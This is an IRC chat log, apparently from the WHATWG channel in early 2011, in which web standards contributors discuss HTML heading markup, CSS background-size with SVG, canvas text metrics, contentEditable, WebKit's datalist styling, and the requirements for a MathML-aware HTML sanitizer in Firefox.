jgraham: sounds like exactly the right solution

[15:02:02.0000] <Hixie>
jgraham: i agree that there are different use cases

[15:02:03.0000] <Hixie>
jgraham: i'm happy to add other style sheets or whatnot

[15:03:00.0000] <jgraham>
Hixie: Because I probably wouldn't know which I prefered until after I had done whatever it was

[15:03:01.0000] <Hixie>
jgraham: or to make the current one better in any way you can suggest

[15:03:02.0000] <beowulf>
jgraham: what about <h1><em>Main head</em>sub head</h1>

[15:03:03.0000] <jgraham>
and switching stylesheets probably works badly

[15:03:04.0000] <Hixie>
jgraham: switching stylesheets works fine.

[15:03:05.0000] <Hixie>
jgraham: the other problem seems to apply to any solution.

[15:03:06.0000] <jgraham>
Hixie: It retains the scroll position?

[15:04:00.0000] <jgraham>
even if the document is resized

[15:04:01.0000] <Hixie>
jgraham: wait you want to change the style sheet _while_ reading?

[15:04:02.0000] <jgraham>
and is almost instananeous?

[15:04:03.0000] <Hixie>
jgraham: dude, switching to another document isn't going to maintain your scroll position either and it's gonna be a hecka lot less instantaneoes

[15:04:04.0000] <Hixie>
instantaneous

[15:04:05.0000] <Hixie>
man that's hard to type or dvorak

[15:05:00.0000] <Hixie>
on

[15:05:01.0000] <jgraham>
Well the point is that I wouldn't realise that I was using the wrong stylesheet until I had already found my position in the document and so on

[15:05:02.0000] <jgraham>
/me notes that he would like to be asleep but there is supposed to be someone returning 1/2 bags that never arrived in England on 20/12/2010

[15:06:00.0000] <Hixie>
well i don't know how to solve that problem

[15:07:00.0000] <Hixie>
but i'm willing to solve any problem that has solutions :-)

[15:23:00.0000] <jgraham>
beowulf: Why would that be better? It would negate several of the advantages of the design. If you really wanted to reuse an existing element <h1>Main <small>sub</small></h1> would be better

[15:23:01.0000] <jgraham>
But I don't really see the point

[15:23:02.0000] <hober>
I don't really see the problem with <hgroup>

[15:24:00.0000] <TabAtkins>
Plus, those both prevent you from using <em>/<small> for their intended purposes in headings.

[15:24:01.0000] <beowulf>
just asking, looked similar to me

[15:24:02.0000] <TabAtkins>
hober: I don't have a problem with <hgroup>, but I see some advantages to jgraham's idea.

[15:26:00.0000] <jgraham>
hober: I think that <hgroup> does add some complexity since you have to care about the whole tree to determine if a given <hx> is actually a heading or not

[15:26:01.0000] <jgraham>
Well the whole parent heirachy at least

[15:26:02.0000] <TabAtkins>
Hm?  Surely you only need to check the immediate parent.

[15:30:00.0000] <jgraham>
TabAtkins: even in the invalid case?

[15:30:01.0000] <TabAtkins>
Damn invalid cases.

[15:38:00.0000] <hober>
/me thinks Hixie should use a 241543903 image as an example in the spec

[15:40:00.0000] <Hixie>
hm?

[15:41:00.0000] <hober>
google it and you'll get the idea

[15:41:01.0000] <hober>
I don't know when this started, but it's quite odd and surprisingly funny

[15:43:00.0000] <jamesr_>
roc: oh? where is it?

[15:44:00.0000] <jamesr_>
roc: the major difference in the webkit impl is that we currently don't plan to support animationStartTime

[15:44:01.0000] <jamesr_>
roc: and i'd like to add an element parameter to .requestAnimationFrame() for authors to use if the animation is tied to some element (i.e. updating a <canvas>), so we can throttle offscreen ones

[15:52:00.0000] <Hixie>
hober: o_O

[15:54:00.0000] <hober>
Hixie: that's what I said :)

[15:54:01.0000] <Hixie>
to be honest i try to avoid memes like that because they have a pretty short shelf-life (though i guess this one might have a longer shelf-life than usual since freezers are used to-- never mind)

[15:57:00.0000] <hober>
I wonder if there are any Alcor photos with this meme involved...


2011-01-11
[16:22:00.0000] <Hixie>
woah, weird. a number of bugs have ended up in the canvas component for no apparent reason.

[16:22:01.0000] <Hixie>
oh, i see why

[16:23:00.0000] <Hixie>
in other news, i'm an idiot

[17:00:00.0000] <Hixie>
anyone have an opinion on http://www.w3.org/Bugs/Public/show_bug.cgi?id=11487 ? (comment on the bug if so)

[17:00:01.0000] <Hixie>
er wait, wrong bug

[17:01:00.0000] <Hixie>
i meant http://www.w3.org/Bugs/Public/show_bug.cgi?id=11487

[17:01:01.0000] <Hixie>
er

[17:01:02.0000] <Hixie>
wtf

[17:01:03.0000] <Hixie>
/me pokes at his clipboard

[17:01:04.0000] <Hixie>
http://www.w3.org/Bugs/Public/show_bug.cgi?id=11482

[17:01:05.0000] <Hixie>
there we go

[17:07:00.0000] <MikeSmith>
time to create a registry for file extensions

[17:07:01.0000] <TabAtkins>
Hrm.  File extensions *tend* to be meaningful, so that's a nice thing.

[17:11:00.0000] <jcranmer>
really?

[17:11:01.0000] <TabAtkins>
Oh, wait, I thought this was talking about DnD.

[17:12:00.0000] <TabAtkins>
Well, wait, though.  @accept with a mimetype doesn't need to care about what the type of the file is, just the actual extension on the filename.  I don't see what the possible interop problems are.

[17:14:00.0000] <jcranmer>
basically, I think he wants to let people do extensions instead of mime-types for upload

[17:14:01.0000] <TabAtkins>
Yeah.  So what's the issue?  I say <input type=file accept=docx>.

[17:14:02.0000] <TabAtkins>
It doesn't matter what type of files use the docx extension, just that they *do* use it

[17:15:00.0000] <TabAtkins>
Having multiple applications using the same extension isn't a problem.  It's non-optimal, in that the UA will expose files that the author probably doesn't want to receive, but shrug.

[17:17:00.0000] <MikeSmith>
would be nice if we could just add comments to bugs directly from this channel

[17:18:00.0000] <MikeSmith>
or specify a line range from krijnh logs to be copy-pasted as a comment to a bug

[19:24:00.0000] <oojacoboo>
does <button> not inherit font-face ?

[21:00:00.0000] <jwalden>
does anyone know if there are any UAs which support, or claim to support, background-size and SVG images as CSS backgrounds?

[21:00:01.0000] <oojacoboo>
anyone know why I am having trouble applying margin-top to an element directly following a <legend> ?

[21:01:00.0000] <oojacoboo>
jwalden: presto

[21:02:00.0000] <jwalden>
oojacoboo: that's opera, right?

[21:02:01.0000] <oojacoboo>
si

[21:02:02.0000] <jwalden>
/me is sorely tempted to say, "that's yes, right?" ;-)

[21:02:03.0000] <oojacoboo>
you must be an Aussie

[21:03:00.0000] <jwalden>
no, just someone with a poor (read: awesome) sense of humor and a taste for horrible puns

[21:03:01.0000] <oojacoboo>
:P

[21:03:02.0000] <jwalden>
this is good, tho, should give me something to test against (I'm slowly working at implementing that in Gecko)

[21:04:00.0000] <jwalden>
right now it's write-a-bunch-of-tests madness

[21:04:01.0000] <jwalden>
then try to implement, then see which tests I screwed up horribly

[21:04:02.0000] <oojacoboo>
jwalden: it's experimental with gecko and webkit

[21:04:03.0000] <jwalden>
oojacoboo: which is experimental?

[21:04:04.0000] <oojacoboo>
although, I don't know, the latest builds might have decent support

[21:05:00.0000] <jwalden>
I implemented background-size in Gecko, and I *tried* to leave a test that would start failing when SVG support got added, but I did so incompetently, so it continued to fail

[21:05:01.0000] <oojacoboo>
try them with prefixes

[21:05:02.0000] <jwalden>
Firefox 4 supports background-size without prefix

[21:05:03.0000] <oojacoboo>
-moz-background-size

[21:05:04.0000] <jwalden>
and SVG backgrounds

[21:05:05.0000] <oojacoboo>
-webkit, etc

[21:05:06.0000] <oojacoboo>
jwalden: nice

[21:05:07.0000] <jwalden>
but it doesn't do any special handling for vector image display with anything other than background-size: auto

[21:06:00.0000] <jwalden>
at least, not if the SVG image is missing an intrinsic dimension, or things like that

[21:06:01.0000] <oojacoboo>
ah, well, that's kinda sucky

[21:06:02.0000] <jwalden>
contain and cover are the most interesting cases for that, I think

[21:06:03.0000] <jwalden>
*shrug* you get vector images, which is a start

[21:07:00.0000] <oojacoboo>
I assume this is just experimental anyway?

[21:07:01.0000] <jwalden>
not sure how often people would want to, or will come to, depend on the arcana of background-size negotiation with vector images missing intrinsic width, height, or ratio

[21:07:02.0000] <jwalden>
well, it's conceivable the patch could make 4.0

[21:07:03.0000] <jwalden>
my mess of tests can only help that

[21:07:04.0000] <jwalden>
but it's probably not worth betting on it

[21:08:00.0000] <oojacoboo>
yea, I just mean your project, just an experiment, right

[21:08:01.0000] <jwalden>
no, it'd be to ship it

[21:08:02.0000] <jwalden>
I have an aversion to leaving things half-finished :-)

[21:08:03.0000] <oojacoboo>
gotcha

[21:09:00.0000] <oojacoboo>
I want to beat webkit with a stick for this bug

[21:09:01.0000] <oojacoboo>
or at least I think it's a bug

[21:10:00.0000] <oojacoboo>
jwalden: you wouldn't know why on http://dev.rentpost.com/signup the margin-top: isn't being applied to the <ol> inside each fieldset, would you?

[21:10:01.0000] <oojacoboo>
in webkit*

[21:10:02.0000] <oojacoboo>
well, chrome at least.  I assume it's all webkit

[21:11:00.0000] <jwalden>
/me looks

[21:13:00.0000] <jwalden>
dunno for sure, but fieldset and legend are fairly hackneyed elements, and they might not play well with restyling

[21:13:01.0000] <oojacoboo>
jwalden: yea, that's what I figured

[21:14:00.0000] <oojacoboo>
but seems pretty messed up, if you ask me

[21:15:00.0000] <jwalden>
sure

[21:37:00.0000] <jwalden>
guh, Opera only has the horribly un-ergonomic Ctrl+Tab for tab-switching

[21:45:00.0000] <jwalden>
okay, I'm not buying Opera's rendering here

[21:45:01.0000] <jwalden>
/me uploads some files

[21:58:00.0000] <jwalden>
I claim http://whereswalden.com/files/mozilla/testcases/tall--auto-16px--percent-width-percent-height.html and http://whereswalden.com/files/mozilla/testcases/ref-tall-16x8.html should render identically, which is not how Opera renders them

[21:59:00.0000] <jwalden>
sigh, and http://whereswalden.com/files/mozilla/background-size/bg-position.html still isn't fixed

[21:59:01.0000] <jwalden>
(entirely separate issue from vector images and background-size)

[23:29:00.0000] <benschwarz>
Hixie: !Ping

[23:53:00.0000] <hsivonen>
is abarth now the editor of the Web Socket protocol?

[23:53:01.0000] <abarth>
nope

[23:53:02.0000] <abarth>
fette is the editor

[23:53:03.0000] <abarth>
i just wrote a draft to try to help the process along

[23:53:04.0000] <abarth>
the IETF is strange that way

[23:53:05.0000] <abarth>
anyone can write a draft at any time

[23:53:06.0000] <abarth>
in their own private namespace

[23:55:00.0000] <hsivonen>
oh. ok.

[00:04:00.0000] <hsivonen>
weird. Totem plays Apple Animation and uncompressed audio in a mov container

[00:04:01.0000] <hsivonen>
but arista and transmageddon don't like it

[00:05:00.0000] <hsivonen>
I wonder why. Isn't gstreamer codec detection the same for all gst apps?

[00:16:00.0000] <zcorpan>
wow, no new hybi emails this morning

[00:29:00.0000] <zcorpan>
oh, they were just a bit delayed

[00:47:00.0000] <annevk>
so much email

[00:55:00.0000] <annevk>
http://lists.w3.org/Archives/Public/www-dom/2011JanMar/0011.html -- "The above doesn't change the image in my Netscape 7.2 on Windows98 platform."

[00:58:00.0000] <hsivonen>
annevk: that's more recent than Netscape 3 or OS/2 that one IETF guy was using

[00:58:01.0000] <hsivonen>
s/or/on/

[00:59:00.0000] <annevk>
heh

[00:59:01.0000] <annevk>
but IETF hasn't realized Unicode exists

[00:59:02.0000] <zcorpan>
or HTML

[01:52:00.0000] <Dashiva>
annevk: They know it exists, but they think it's too hard to get right

[01:53:00.0000] <jgraham>
Why would anyone use Netscape 7.2? It's not like it was that great when it was released…

[01:57:00.0000] <annevk>
wasn't Netscape 7.2 some Firebird clone?

[01:57:01.0000] <annevk>
I thought Netscape died after 6

[02:00:00.0000] <hsivonen>
annevk: It continued to 9: http://en.wikipedia.org/wiki/Netscape_Navigator_9

[02:07:00.0000] <annevk>
http://www.reddit.com/r/programming/comments/ezub3/type_to_shoot_html5_game_my_entry_for_mozillas/ is pretty sweet

[02:07:01.0000] <annevk>
hsivonen, wow

[02:12:00.0000] <Rik`>
annevk: really cool but no pause :(

[02:14:00.0000] <annevk>
yeah, and a bit too simple

[02:14:01.0000] <annevk>
but the comments have tips

[02:15:00.0000] <Lachy>
Rik`, read the instructions when you load

[02:15:01.0000] <Lachy>
it said Esc to pause

[02:16:00.0000] <Rik`>
oh, we're supported to read instructions now ? :D

[02:16:01.0000] <Lachy>
also, it's very adictive. But a bit too simple

[02:19:00.0000] <Lachy>
it's addictive. But doesn't really get difficulty till levels past 20

[02:22:00.0000] <hsivonen>
the game works in IE9 but the audio is bad. I wonder if that's IE9's fault or VirtualBox's fault

[02:35:00.0000] <jgraham>
Filed a bug on <hgroup>/<subhead> btw

[02:41:00.0000] <annevk>
good good

[03:05:00.0000] <beowulf>
fwiw on hgroup/subhead I would suggest it subline rather than subhead, historically/in print headlines are broken into mainline, subline, etc. subhead sounds like it should be used in header. to me h1-h6 are about headlines, not headers (as headers are described in html5)

[03:07:00.0000] <jgraham>
beowulf: Sure, <subhead> might not be the best name

[03:07:01.0000] <jgraham>
Would you also call it a subline if it came before the main heading?

[03:08:00.0000] <Evet>
what is your favourite auth* method between application and API?

[03:09:00.0000] <beowulf>
yeah, well, as i understand it the mainline is the one with the name rather than the other way round

[03:09:01.0000] <jgraham>
beowulf: Yeah, I think that works poorly in markup though

[03:09:02.0000] <beowulf>
yeah

[03:10:00.0000] <jgraham>
On an entirely diffferent topic, can anyone explain contentEditable to me? Does it ever change the innerHTML of the contentEditable element?

[03:10:01.0000] <jgraham>
It doesn't seem to in the live dom viewer...

[03:10:02.0000] <beowulf>
jgraham: in ie yes

[03:10:03.0000] <beowulf>
anything that matches foo@bar will become a link

[03:11:00.0000] <jgraham>
Hmm, the spec suggests that it should change the innerHTML

[03:12:00.0000] <beowulf>
and maybe other link like text too, but i know it happens with email like text

[03:12:01.0000] <jgraham>
Hard to see how it would work otherwise, really

[03:13:00.0000] <jgraham>
/me gets something working a little

[03:17:00.0000] <benschwarz>
jgraham: hi :)

[03:20:00.0000] <jdeisenberg>
is there a good way to get the text ascent and descent from a context2d? It would help greatly in positioning text vertically.

[03:26:00.0000] <Philip`>
jdeisenberg: There isn't any way

[03:27:00.0000] <annevk>
jgraham, just press ctrl+b or some such

[03:27:01.0000] <annevk>
jgraham, contenteditable is very much live

[03:27:02.0000] <annevk>
jgraham, e.g. http://annevankesteren.nl/test/contenteditable-style.htm :)

[03:27:03.0000] <jgraham>
annevk: Right. I am just having cross-browser issues and weird behaviour

[03:28:00.0000] <jgraham>
trying to script it

[03:28:01.0000] <jdeisenberg>
Philip` : that is unfortunate, wouldn't you say?

[03:28:02.0000] <jgraham>
benschwarz: hi

[03:28:03.0000] <annevk>
jgraham, ah yeah, it does not really work that well

[03:29:00.0000] <jgraham>
/me now has a testcase that fails to reproduce the original bug :(

[03:29:01.0000] <benschwarz>
jgraham: I'm the whatwg styles dude…

[03:30:00.0000] <jdeisenberg>
is there a compelling reason to not expose the font ascent & descent?

[03:30:01.0000] <jgraham>
benschwarz: Yeah. Is this re: the request for a prettier implementor spec?

[03:31:00.0000] <Philip`>
jdeisenberg: Yeah - probably extra fields will be added to TextMetrics, but the plan was to wait until browsers had better support for all the current features before adding even more, I think

[03:31:01.0000] <benschwarz>
jgraham: I saw you talking to paul_irish, I was more just saying whatup than anything else

[03:31:02.0000] <Philip`>
jdeisenberg: I don't think there's a reason to not expose it, except for the usual complexity involved with adding features and the desire not to do too much at once

[03:32:00.0000] <jdeisenberg>
ah OK. I am attempting to write a game in HTML5 using canvas, and positioning text gets a bit tricky.

[03:32:01.0000] <benschwarz>
jgraham: but basically, I want to get the developer spec further along, then—totally

[03:32:02.0000] <jdeisenberg>
For now, I'll just figure out the ascent by hand and hard-code it.

[03:32:03.0000] <jgraham>
benschwarz: Great :)

[03:33:00.0000] <Philip`>
jdeisenberg: If you need more vertical control than textBaseline gives, hardcoding sizes is the only way

[03:36:00.0000] <jdeisenberg>
yeah, that seems to be it.

[03:36:01.0000] <jdeisenberg>
OK thanks.

[03:55:00.0000] <hsivonen>
the html5lib sanitizer hasn't had its white lists updated in a long time

[03:55:01.0000] <hsivonen>
event-source and m are allowed. mark and track aren't.

[03:56:00.0000] <hsivonen>
the MathML and SVG element whitelists look suspiciously short

[04:01:00.0000] <jgraham>
hsivonen: Correct

[04:01:01.0000] <jgraham>
(that it hasn't been updated for a long time)

[04:02:00.0000] <david_carlisle>
hsivonen: something I could look at? I didnt understand the context of your comment)

[04:03:00.0000] <david_carlisle>
(I don't mind if the answer is no:-)

[04:03:01.0000] <jgraham>
david_carlisle: http://code.google.com/p/html5lib/source/browse/python/html5lib/sanitizer.py?r=0f459d1384d64e579fa9a3887cd5a9bf94f497f1

[04:05:00.0000] <david_carlisle>
jgraham: this is sanitize as in make safe for comment input etc?

[04:06:00.0000] <jgraham>
david_carlisle: Yes

[04:06:01.0000] <david_carlisle>
ta

[04:06:02.0000] <hsivonen>
david_carlisle: the context is that I'm gathering requirements for the HTML sanitizer for Firefox 4.next

[04:07:00.0000] <hsivonen>
david_carlisle: we want to allow safe MathML, so I will need a whitelist of safe MathML elements

[04:10:00.0000] <david_carlisle>
hsivonen: just looking over list by eye, if its immediate use is firefox then you don't want mml3 elements yet so I'll hold back on that comment, you should perhaps allow href as well as xlink:href (depending on outcome of that open  mozilla bug) oh menclose is missing from the elements

[04:11:00.0000] <hsivonen>
david_carlisle: it's unclear to me if I should want to drop mml3 presentation elements or any semantic elements

[04:13:00.0000] <hsivonen>
the html5lib white lists have odd stuff. e.g. attributes ch and pqg for HTML

[04:17:00.0000] <david_carlisle>
hsivonen: well yes mathml doesn't include anything like script so pretty much any of it is safe, just some of it doesn't work in some browsers, so it depends what the intention behind the whitelist is. I wouldn't argue too much if firefox whitelist just presentation mathml2 and so by implication blacklisted content mathml  and all of mathml3 new stuff, if it is just restricting things like form input, rather than restricting what's in the body of

[04:17:01.0000] <david_carlisle>
the page., on the other hand if you allow all of mathml3 presentation and content then I don't think that is unsafe?

[04:17:02.0000] <hsivonen>
david_carlisle: can MathML do form input?

[04:17:03.0000] <david_carlisle>
no

[04:18:00.0000] <hsivonen>
david_carlisle: the goal for Firefox is to drop stuff that's not safe to transfer across an Origin boundary

[04:18:01.0000] <david_carlisle>
people often request it, but now the idea would be to use mtext containing an html form element (and pray it works:-0

[04:19:00.0000] <david_carlisle>
the only mathml element that can do anything interesting (other than displaying interesting characters in intersting layouts) is maction

[04:19:01.0000] <david_carlisle>
whose behaviour is largely implementation defined

[04:20:00.0000] <hsivonen>
"implemetation defined" always sounds bad for Web specs

[04:20:01.0000] <david_carlisle>
:-)

[04:20:02.0000] <david_carlisle>
I only said that to wind you up

[04:21:00.0000] <david_carlisle>
to add to the pain, i'll mention that the implementation behaviour is thus controlled by namespaced attributes in a vendor namespace

[04:21:01.0000] <zcorpan>
in my impl, <maction> sends an email to david_carlisle with viagra spam

[04:21:02.0000] <david_carlisle>
oh please, i hope it's not too expensive

[04:21:03.0000] <hsivonen>
is <maction actiontype="input"> like contenteditable?

[04:22:00.0000] <david_carlisle>
I'd have to check what firefox makes of it, but to be honest if you wanted to not worry about it i'd zap maction

[04:22:01.0000] <hsivonen>
david_carlisle: the four built-in maction actiontypes look harmless enough

[04:22:02.0000] <david_carlisle>
yes

[04:23:00.0000] <hsivonen>
david_carlisle: vendor-namespace stuff is not going to be allowed

[04:23:01.0000] <hsivonen>
by the sanitizer

[04:23:02.0000] <david_carlisle>
OK then you should be OK

[04:24:00.0000] <hsivonen>
david_carlisle: does MathML have attributes whose content is passed to a CSS parser?

[04:26:00.0000] <david_carlisle>
not by definition, but some parts of the mathml implementation work internally by the browser applying a css stylesheet matching certain attribute values (I think)

[04:26:01.0000] <hsivonen>
david_carlisle: ok. thanks

[04:27:00.0000] <david_carlisle>
if you go <mi mathcolor="....">  the .... is a css compatible color so "red" or #123456 or something, but whether it actually goes through the css parser you are in a better position to check

[04:27:01.0000] <hsivonen>
btw, the main reason I can think of against white listing Semantic MathML is code footprint, since there's no other reason for the product to contain the names of Semantic MathML elements (as long as rendering isn't supported)

[04:27:02.0000] <hsivonen>
david_carlisle: I'm mostly worried about stuff that can use the CSS url(...) expression

[04:27:03.0000] <david_carlisle>
yeas as i say. I don't think it would be unreasonable for firefox to restrict to what works as well as what is safe

[04:28:00.0000] <david_carlisle>
no only colours and lengths have any resemblance to css

[04:29:00.0000] <hsivonen>
ok

[04:36:00.0000] <hsivonen>
The requirement doc is https://wiki.mozilla.org/Platform/HTML5_sanitizer

[05:39:00.0000] <hsivonen>
https://wiki.mozilla.org/Platform/HTML5_sanitizer

[05:39:01.0000] <hsivonen>
does anyone see defects in that requirement list?

[05:40:00.0000] <hsivonen>
in particular, are there any wishlist items for using the parser outside Gecko that aren't covered?

[05:52:00.0000] <hsivonen>
Hixie: oh well, even Microdata is too hard for Google: http://www.google.com/sidewiki/entry/philip.jagenstedt/id/fJs_CWCuHHLWa1MkT8EEIpkK3qQ

[05:55:00.0000] <david_carlisle>
hsivonen:  as we just discussed I think the choice to restrict mathml (and presumably svg)  to the subset that works is general, but the exact list of what works is gecko-specific of course, which affects the 2nd "open qn" on that page

[06:30:00.0000] <annevk>
hsivonen, roc says whitelists are hard for copy & paste of Word

[06:30:01.0000] <annevk>
hsivonen, http://lists.w3.org/Archives/Public/public-webapps/2011JanMar/0004.html

[06:35:00.0000] <annevk>
hsivonen, also, if we are going to offer native sanitizing the more options the more brittle it becomes (and harder to use)

[06:38:00.0000] <Philip`>
If you offer fewer options than people want to use, they'll use non-native possibly-poor-quality alternatives that do provide the options

[06:39:00.0000] <hsivonen>
annevk: for sanitizing CSS, I was planning on using the same code the Gecko uses now, so the new code should be no worse and no better than the old code as far as -mso- CSS goes

[06:39:01.0000] <annevk>
Philip`, that is not a given

[06:40:00.0000] <hsivonen>
annevk: Gecko already not only offers but forces a native sanitizer upon pasting into contenteditable.

[06:40:01.0000] <annevk>
Philip`, e.g. <input> does not give everything everyone wants either, but this does not make people resort to contenteditable= or custom code directly

[06:41:00.0000] <annevk>
hsivonen, hmm, yay for interop?

[06:42:00.0000] <jgraham>
annevk: Yes it does. See also: the number of custom date pickers

[06:43:00.0000] <hsivonen>
annevk: how do other browsers deal with cross-origin copy and paste?

[06:45:00.0000] <hsivonen>
lolz. it looks like I believed in metadata in the 1990s. check out the source of http://hsivonen.iki.fi/refl-light/

[06:45:01.0000] <annevk>
jgraham, in some cases it does, yes

[06:45:02.0000] <annevk>
hsivonen, no idea

[06:46:00.0000] <annevk>
hsivonen, I never looked into copy & paste, but now that you mention it Hallvord does have some notes on it already so maybe everyone does it to some extent

[06:46:01.0000] <annevk>
hsivonen, Dublin Core! superimportant

[06:47:00.0000] <annevk>
hsivonen, I remember having similar amounts of metadata and wondering what more I could add

[06:47:01.0000] <annevk>
<meta name="DC.Language" scheme="RFC1766" content="en"> -- nice :)

[06:47:02.0000] <annevk>
for when <html lang=en> is not clear enough

[06:48:00.0000] <hsivonen>
I also have lang=en!

[06:48:01.0000] <hsivonen>
curiously, I must have updated that metadata some time in the 2000s, because it has the iki.fi email address in it

[06:49:00.0000] <jgraham>
global S&R?

[06:49:01.0000] <hsivonen>
jgraham: maybe

[06:51:00.0000] <hsivonen>
even though I never jumped on the XHTML-as-text/html bandwagon, it looks like I've done some DC bandwagon jumping on the gurus' sayso

[06:51:01.0000] <Philip`>
If you don't know when you changed the file, you should have added more metadata to preserve that history information

[06:52:00.0000] <hsivonen>
Philip`: good point! I need metadata for metadata.

[06:53:00.0000] <hsivonen>
cool. font tags in http://hsivonen.iki.fi/source/reflect.html

[07:03:00.0000] <jgraham>
Is there some way I can't thinki of right now to run some code in the context of a different (same-origin) window?

[07:03:01.0000] <jgraham>
Well s/window/nested browsing context/

[07:03:02.0000] <jgraham>
or whatever the right term for "document loaded in an iframe" is

[07:03:03.0000] <jgraham>
Without changing the DOM of that document

[07:06:00.0000] <annevk>
you could declare functions in that document and execute them

[07:06:01.0000] <annevk>
depends a bit on what you mean with context

[07:07:00.0000] <jgraham>
I mean with the global object being the window object of that iframe

[07:07:01.0000] <jgraham>
Just running functions in the iframe might work, I guess

[07:08:00.0000] <annevk>
you can do iframewindow.test = ... and then iframewindow.test(), no?

[07:09:00.0000] <zcorpan>
window[0].foo() seems to work

[07:12:00.0000] <zcorpan>
but if foo is declared in the outer document then the scope is the outer document, at least in opera

[07:13:00.0000] <annevk>
/me wonders if ... = iframewindow.function() { ... }

[07:13:01.0000] <annevk>
/me ... works

[07:13:02.0000] <jgraham>
function is a keyword, not a variable

[07:13:03.0000] <jgraham>
So that shouldn't work

[07:14:00.0000] <jgraham>
Also, my initial solution, that I didn't expect to work, of doing eval.call(iframewindow, code) also doesn't work

[07:57:00.0000] <hsivonen>
jgraham: what happens if you call setTimeout on another window?

[07:59:00.0000] <jgraham>
hsivonen: Won't that be like a direct function call on the other window?

[07:59:01.0000] <jgraham>
At least I assume

[08:09:00.0000] <hsivonen>
jgraham: oh. right. yes

[08:14:00.0000] <hsivonen>
eww. the style sheet of my site looks bad in Opera 11 on Linux. I wonder what has gone wrong.

[08:15:00.0000] <hsivonen>
also, what's the deal with the loop attribute on <video> not working in Firefox?

[08:16:00.0000] <hsivonen>
simply not implemented yet: https://bugzilla.mozilla.org/show_bug.cgi?id=449157

[08:22:00.0000] <adactio>
Is anyone here working on WebKit/Safari/Chrome?

[08:24:00.0000] <Rik`>
adactio: "don't ask to ask" :)

[08:24:01.0000] <adactio>
Um.. okay. I guess I'll just go ahead and um, "ask" then...

[08:25:00.0000] <adactio>
Why is it that WebKit gives the datalist special treatment in its html.css file by declaring display: none ...despite the fact that datalist is otherwise an unknown element as far as the browser is concerned?

[08:26:00.0000] <Rik`>
ah, I don't know why but it's been bugging me a lot

[08:27:00.0000] <adactio>
I was about to file a bug in the WebKit Bugzilla but I wanted to sanity-check first that there wasn't a good reason for that CSS declaration.

[08:27:01.0000] <Rik`>
it makes it almost unusable in Firefox and Opera because of that

[08:27:02.0000] <Rik`>
adactio: my understanding is that datalist implementation in webkit has various patches and some landed

[08:28:00.0000] <adactio>
So it's because we're in a period of transition that we've got what's kinda the worst of both worlds; no support, but no fallback either.

[08:28:01.0000] <Rik`>
https://bugs.webkit.org/show_bug.cgi?id=27247

[08:28:02.0000] <Rik`>
this is the master bug for this

[08:29:00.0000] <adactio>
I should add my concerns there?

[08:29:01.0000] <Evet>
what is your favourite cross-domain user auth method?

[08:30:00.0000] <Rik`>
adactio: I think you should file a bug with a small testcase and set it as blocking bug 27427

[08:30:01.0000] <adactio>
Okay. Will do.

[08:32:00.0000] <Rik`>
adactio: please cc me (rik⊙wo)

[08:32:01.0000] <Rik`>
I won't be able to help but I'd like to follow the subject

[08:40:00.0000] <Rik`>
adactio: apparently the datalist implementation is hidden behind a config flag

[08:40:01.0000] <Rik`>
all code related to that should be disabled but the CSS style in html.css is not behind a flag

[08:40:02.0000] <Rik`>
https://trac.webkit.org/changeset/47420

[08:41:00.0000] <adactio>
Ah, right! (damn: I just posted my bug)

[08:42:00.0000] <Rik`>
adactio: bug number ?

[08:42:01.0000] <adactio>
52214

[08:52:00.0000] <Rik`>
adactio: thanks, I should have filed this bug when playing with this

[10:16:00.0000] <Hixie>
hsivonen: that's something the rich snippets team keep telling me that i should change in the spec, so maybe it's just them leading by implementation

[10:19:00.0000] <hsivonen>
Hixie: I see

[10:19:01.0000] <Hixie>
(assuming you mean the content=""-on-everything thing)

[10:19:02.0000] <hsivonen>
Hixie: that's what I meant

[11:08:00.0000] <TabAtkins>
I'm not sure I really understand what @content-on-everything is for, anyway.

[11:08:01.0000] <TabAtkins>
It seems better to make it obvious that you're embedding invisible data via a <meta>, personally.

[11:12:00.0000] <Ms2ger>
TabAtkins, but invisible data causes unicorns to be born

[11:12:01.0000] <Hixie>
TabAtkins: agreed

[11:14:00.0000] <TabAtkins>
Plus, @content-on-everything is, on first sight, ambiguous when it appears on something which already takes its value from an attribute, like <a>.

[11:14:01.0000] <TabAtkins>
So, yeah, remove away.

[11:15:00.0000] <TabAtkins>
Should I file a bug?

[11:17:00.0000] <Hixie>
anyone know what http://www.w3.org/Bugs/Public/show_bug.cgi?id=11572 is about?

[11:17:01.0000] <Hixie>
TabAtkins: internally, on the docs? sure

[11:17:02.0000] <Hixie>
TabAtkins: cc me?

[11:20:00.0000] <Ms2ger>
Hixie, I'm assuming the "Watch for updates" widget

[11:20:01.0000] <Hixie>
yeah but what does he want to have happen?

[11:20:02.0000] <Hixie>
i don't understand his request

[11:21:00.0000] <Ms2ger>
Me neither

[11:21:01.0000] <Ms2ger>
/me verifies

[11:21:02.0000] <Hixie>
heh

[11:23:00.0000] <Hixie>
how abotu http://www.w3.org/Bugs/Public/show_bug.cgi?id=11574 ?

[11:31:00.0000] <TabAtkins>
Hixie: Nope, another nonsense bug.

[11:32:00.0000] <Hixie>
k

[11:32:01.0000] <Hixie>
just making sure i'm not missing something :-)

[11:45:00.0000] <TabAtkins>
Hixie: Bug filed, you're cc'd.

[11:45:01.0000] <Hixie>
ta

[11:49:00.0000] <TabAtkins>
Hixie: How long does the publishing pipeline take for whatwg.org?  I'm getting a persistent message that I'm on r5747.

[11:49:01.0000] <Hixie>
full-page or multipage?

[11:50:00.0000] <TabAtkins>
 /C

[11:50:01.0000] <TabAtkins>
Also, I just discovered an irssi shortcut, dammit.

[11:50:02.0000] <Hixie>
dunno, it's however long Philip`'s server takes to send a reply

[11:50:03.0000] <Hixie>
sometimes things get backed up

[11:50:04.0000] <Hixie>
use the single-page copy :-)

[11:51:00.0000] <TabAtkins>
If I had it up constantly, I probably would.  But for pulling up multiple times over the course of a day, single-page is too slow to load.

[11:52:00.0000] <Hixie>
ah

[11:52:01.0000] <Hixie>
yeah

[11:52:02.0000] <Hixie>
leave it open :-P

[11:52:03.0000] <TabAtkins>
Bah.

[11:55:00.0000] <Hixie>
i have a bunch of tabs open... gmail, corp gmail, calendar, the spec...

[11:56:00.0000] <mpilgrim>
obviously the spec needs an in-page autoupdate mechanism so we can keep it open all the time and have it bring itself up to date automatically

[11:57:00.0000] <Hixie>
i had that

[11:57:01.0000] <Hixie>
but having a 5mb doc reload itself every 90 seconds is pretty painful :-)

[11:57:02.0000] <Hixie>
so now it just has an alert

[11:57:03.0000] <Hixie>
and lets you reload it manually

[11:58:00.0000] <mpilgrim>
something more sophisticated than window.refresh()

[11:58:01.0000] <Hixie>
(and the alert is a bit broken for the multipage copy because it checks the single-page rev, not the multipage one)

[11:58:02.0000] <Hixie>
ah

